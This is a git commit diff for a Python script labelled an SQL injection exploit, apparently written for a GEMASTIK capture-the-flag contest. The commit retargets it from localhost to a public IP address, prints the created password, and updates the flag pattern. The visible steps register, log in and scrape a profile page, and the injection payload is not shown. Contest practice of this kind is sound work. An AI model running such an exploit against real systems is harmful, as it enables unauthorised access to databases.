added patch notes
This commit is contained in:
1 parent
ab4451539c
commit
538526dab0
10 files changed
+265
-7
No files matched your search
@@ -7,7 +7,7 @@ from pathlib import Path
|
||||
|
||||
print("SQLi (VULN 2) Exploit")
|
||||
|
||||
HOST = "http://localhost:4400"
|
||||
HOST = "http://54.179.69.160:10000"
|
||||
REGISTER_URL = HOST + "/register"
|
||||
LOGIN_URL = HOST + "/login"
|
||||
CREATE_URL = HOST + "/create"
|
||||
@@ -46,6 +46,7 @@ if r.status_code != 200:
|
||||
exit(1)
|
||||
else:
|
||||
print(f"Registered user: {USERNAME}")
|
||||
print(f"Registered PASSWORD: {PASSWORD}")
|
||||
|
||||
# 3) Login with the new user
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
@@ -86,7 +87,7 @@ else:
|
||||
# 6) Visit the profile page and search for the flag
|
||||
r = s.get(PROFILE_URL)
|
||||
print("Profile page status:", r.status_code)
|
||||
flag_pattern = r"GEMASTIK\{.*?\}"
|
||||
flag_pattern = r"GEMASTIK18\{.*?\}"
|
||||
flag = re.search(flag_pattern, r.text)
|
||||
if flag:
|
||||
print("Flag found:", flag.group(0))
|
||||
|
||||
Reference in new issue
Block a user